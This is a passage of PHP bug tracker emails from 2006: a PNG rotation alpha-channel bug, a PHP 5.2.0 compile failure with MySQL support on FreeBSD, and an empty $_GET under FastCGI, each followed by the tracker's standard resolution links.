An image with a black bakground
[2006-11-03 22:16:43] ciakana at gmail dot com
Description:
If I run the allegated script, where shade.png is a png image with a
transparent background (full alpha channel), all works if the degrees
are less then 45. If I set the degrees to 300, for example, the
background become black.
Reproduce code:
---
?php
$filename=shade.png;
$degrees =300;
header('Content-type: image/png');
$source = imagecreatefrompng($filename);
$rotate = imagerotate($source, $degrees, -1);
imagealphablending($rotate, true);
imagesavealpha($rotate, true);
imagepng($rotate);
?
Expected result:
An image with a black bakground
Actual result:
--
A rotated copy of the original image with the alpha channel preserved
--
Edit this bug report at http://bugs.php.net/?id=39366edit=1
#39369 [NEW]: PHP 5.2.0 will not compiled with MySQL support
From: nathan at officelink dot net dot au Operating system: FreeBSD 6.1-RELEASE-p10 PHP version: 5.2.0 PHP Bug Type: Compile Failure Bug description: PHP 5.2.0 will not compiled with MySQL support Description: Unable to get PHP 5.2.0 to compile with MySQL support. PHP versions prior to this work perfectly with an identical ./configure line. Reproduce code: --- ./configure --with-apxs2=/usr/local/apache/bin/apxs --enable-ftp --enable-magic-quotes --enable-track-vars --enable-sockets --with-gettext --with-gd --with-zlib-dir=/usr/local --with-freetype-dir=/usr/local --enable-soap --with-mysqli=/usr/local/mysql/bin/mysql_config --with-xmlrpc --with-imap=/usr/local/src/imap-2004g --enable-mbstring=all --with-mime-magic=/usr/share/misc/magic.mime --with-mcrypt --with-iconv --enable-mbregex --enable-mime-magic --with-openssl=/usr/local/ssl --with-imap-ssl --with-mysql=/usr/local/mysql on PHP 5.2.0 I get: checking for MySQL support... yes checking for specified location of the MySQL UNIX socket... no checking for MySQL UNIX socket location... no configure: error: Cannot find libmysqlclient_r under /usr/local/mysql. Note that the MySQL client library is not bundled anymore! MySQL version is mysql Ver 14.12 Distrib 5.0.27, for unknown-freebsd6.1 (i386) using EditLine wrapper compiled from source with ./configure --prefix=/usr/local/mysql --without-debug Expected result: on PHP 5.1.6 I get: checking for MySQL support... yes checking for specified location of the MySQL UNIX socket... no checking for MySQL UNIX socket location... no checking for mysql_close in -lmysqlclient... yes checking for MySQLi support... yes checking whether to enable embedded MySQLi support... no checking for mysql_set_server_option in -lmysqlclient... yes checking for mysql_stmt_field_count in -lmysqlclient... yes -- Edit bug report at http://bugs.php.net/?id=39369edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=39369r=trysnapshot44 Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=39369r=trysnapshot52 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=39369r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=39369r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=39369r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=39369r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=39369r=needscript Try newer version:http://bugs.php.net/fix.php?id=39369r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=39369r=support Expected behavior:http://bugs.php.net/fix.php?id=39369r=notwrong Not enough info: http://bugs.php.net/fix.php?id=39369r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=39369r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=39369r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39369r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=39369r=dst IIS Stability:http://bugs.php.net/fix.php?id=39369r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=39369r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=39369r=float No Zend Extensions: http://bugs.php.net/fix.php?id=39369r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=39369r=mysqlcfg
#39370 [NEW]: $_GET no longer works under FastCGI but works under CGI.
From: trustpunk at gmail dot com Operating system: Windows PHP version: 6CVS-2006-11-04 (snap) PHP Bug Type: CGI related Bug description: $_GET no longer works under FastCGI but works under CGI. Description: The special $_GET variable no longer works under FastCGI. I'm not sure if the others fail. $_SERVER seems to work. Reproduce code: --- PHP/6.0.0-DEV Code: pre ?php print_r($_GET); ? /pre URL: http://localhost/test.php?get=Hello Expected result: I expect to see some elements in the $_GET array after sending a GET request from the URL. Actual result: -- I get nothing in the $_GET array after using a request like: http://localhost/test.php?get=Hello Note: Remember that CGI/1.1 is npot effected by this bug from what I've tested. -- Edit bug report at http://bugs.php.net/?id=39370edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=39370r=trysnapshot44 Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=39370r=trysnapshot52 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=39370r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=39370r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=39370r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=39370r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=39370r=needscript Try newer version:http://bugs.php.net/fix.php?id=39370r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=39370r=support Expected behavior:http://bugs.php.net/fix.php?id=39370r=notwrong Not enough info: http://bugs.php.net/fix.php?id=39370r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=39370r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=39370r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39370r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=39370r=dst IIS Stability:http://bugs.php.net/fix.php?id=39370r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=39370r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=39370r=float No Zend Extensions: http://bugs.php.net/fix.php?id=39370r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=39370r=mysqlcfg
